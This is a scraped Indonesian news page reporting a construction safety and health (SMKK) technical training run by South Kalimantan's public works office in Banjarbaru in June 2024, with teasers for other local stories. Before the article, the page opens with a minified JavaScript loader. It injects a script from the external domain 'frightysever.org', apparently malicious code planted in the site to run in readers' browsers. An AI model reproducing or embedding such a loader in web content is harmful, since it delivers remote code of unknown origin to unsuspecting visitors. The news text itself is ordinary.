(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Dinas PUPR Gelar SMKK guna Wujudkan Keselamatan dan Kesehatan Kerja Bidang Konstruksi


KANALKALIMANTAN.COM, BANJARBARU – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan (Kalsel) melalui Bidang Bina Konstruksi mengadakan Bimbingan Teknis Sistem Manajemen Keselamatan Konstruksi (SMKK) Tahun 2024 di Banjarbaru, Senin (24/6/2024).

Kegiatan itu dilakukan dalam upaya mendukung keamanan, keselamatan, kesehatan, dan keberlanjutan dalam pekerjaan konstruksi.

Bimtek ini merupakan bagian dari upaya pembinaan untuk memenuhi standar keselamatan dan kesehatan dalam konstruksi, yang diamanatkan dengan penggunaan Peraturan Menteri PUPR Nomor 10 Tahun 2021.

Dalam sambutannya, Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST, MT melalui Kabid Bina Konstruksi Mustajab, menyatakan bahwa melalui kegiatan bimbingan teknis SMKK ini, diharapkan pekerjaan konstruksi dapat mewujudkan pemenuhan standar keamanan, keselamatan, kesehatan, dan keberlanjutan yang dapat menjamin keselamatan keteknikan konstruksi, keselamatan dan kesehatan tenaga kerja, keselamatan publik, dan lingkungan.

“Melalui kegiatan tersebut diharapkan dapat meningkatkan kesadaran dan kepedulian terhadap keselamatan kerja di bidang jasa konstruksi, sehingga dapat tercipta lingkungan kerja yang aman dan nyaman bagi seluruh tenaga kerja yang terlibat,” jelas Mustajab.

Bimtek ini berkolaborasi dengan Balai Jasa Konstruksi Wilayah V Banjarmasin dengan harapan dapat melindungi keselamatan dan kesehatan tenaga kerja pada pekerjaan konstruksi melalui upaya pencegahan kecelakaan kerja dan penyakit akibat kerja, sebagaimana yang diamanatkan dalam Permen PU No.21/PRT/M/2021 tentang Pedoman Pelaksanaan Sistem Manajemen Keselamatan Konstruksi.

“Bimtek ini merupakan salah satu bentuk pelaksanaan tugas dan fungsi dari Pemprov Kalsel dalam melakukan pembinaan dan pemberdayaan di bidang jasa konstruksi kepada pihak penyedia dan pengguna jasa konstruksi agar dapat menyiapkan petugas K2 konstruksi yang telah memiliki sertifikat yang diterbitkan oleh unit kerja yang menangani keselamatan konstruksi di Kementerian Pekerjaan Umum dan Perumahan Rakyat atau oleh lembaga dan instansi yang berwenang sesuai dengan standar kompetensi kerja nasional Indonesia dan ketentuan peraturan perundang-undangan,” papar dia.

Dia berharap melalui Bimtek SMKK ini para peserta dapat mengikuti hingga selesai sehingga dapat menghasilkan tenaga kerja yang terampil serta mendapatkan sertifikat petugas k2 konstruksi.

“Dengan adanya bimtek ini, diharapkan para peserta yang telah dibekali ilmu pengetahuan dapat mengaplikasikan seluruh pengetahuannya dalam setiap kegiatan infrastruktur jasa konstruksi,” pungkas dia. (kanalkalimantan.com/MCkalsel/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

21 Lansia Ikuti Wisuda Sekolah Lansia di Kabupaten Balangan

KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More

39 detik ago

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

6 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

8 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

9 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

9 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

11 jam ago

This website uses cookies.